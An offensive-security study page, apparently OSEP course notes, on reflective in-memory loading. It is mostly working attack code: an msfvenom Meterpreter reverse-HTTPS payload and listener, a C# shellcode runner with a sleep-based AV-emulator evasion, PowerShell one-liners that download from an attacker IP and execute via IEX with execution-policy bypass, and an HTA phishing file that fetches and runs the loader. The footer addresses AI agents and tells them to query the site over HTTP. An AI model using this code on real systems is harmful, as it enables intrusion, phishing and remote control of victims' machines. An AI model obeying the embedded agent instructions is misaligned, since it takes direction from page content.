# In-Memory Reflective Load (.dll + .ps1) {% hint style="info" %} load precompiled C# assembly directly into memory without touching disk and executed our shellcode runner {% endhint %}

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp

{% hint style="info" %} use 32-bit for [MS Office macro attack](/osep/attack/client-side-code-execution.md) {% endhint %} {% code title="listener:" %} ```bash sudo msfconsole -q -x "use exploit/multi/handler" set payload windows/x64/meterpreter/reverse_https set lhost 192.168.119.120 set lport 443 run ``` {% endcode %}

using System;
using System.Runtime.InteropServices;

namespace ClassLibrary1
{
    public class Class1
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
          IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        
        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);
        
        public static void runner()
        {
            DateTime t1 = DateTime.Now;
            Sleep(2000);
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if(t2 < 1.5)
            {
                return;
            }
            
            byte[] buf = new byte[4] {
            0xfc,0x48,0x83,0xe4};

            // decryptor if used evasion encryptor
            //for (int i = 0; i < buf.Length; i++)
            //{
            //    buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
            //}

            int size = buf.Length;

            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

            Marshal.Copy(buf, 0, addr, size);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

``` python -m http.server 80 ``` {% code title="rev.ps1" overflow="wrap" fullWidth="true" %} ```powershell $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/ClassLibrary1.dll') $assem = [System.Reflection.Assembly]::Load($data) $class = $assem.GetType("ClassLibrary1.Class1") $method = $class.GetMethod("runner") $method.Invoke(0, $null) ``` {% endcode %} *** {% code title="Execution on Victim:" overflow="wrap" %} ``` powershell -nop -ep bypass -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/rev.ps1')" ``` {% endcode %} {% code overflow="wrap" %} ``` powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/rev.ps1') | IEX ``` {% endcode %} *** ## `.hta` phishing for execution

<html>
    <head>
        <script language="JScript">
            var shell = new ActiveXObject("WScript.Shell");
            var res = shell.Run("powershell iwr -uri http://192.168.119.120/rev.ps1 -outfile C:\\Temp\\rev.ps1;powershell -nop -ep bypass C:\\Temp\\rev.ps1");
        </script>
    </head>
    <body>
        <script language="JScript">
            self.close();
        </script>
    </body>
</html>

[^1]: `byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8...}` [^2]: [bypass AV emulator](/osep/attack/evasions.md#sleep) [^3]: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp` *use 32-bit shellcode if for* [*MS Office macro attack*](/osep/attack/client-side-code-execution.md) [^4]: can also use shell.exe --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://osnotes.jackielam.net/osep/attack/client-side-code-execution/in-memory-reflective-load-.dll-+-.ps1.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.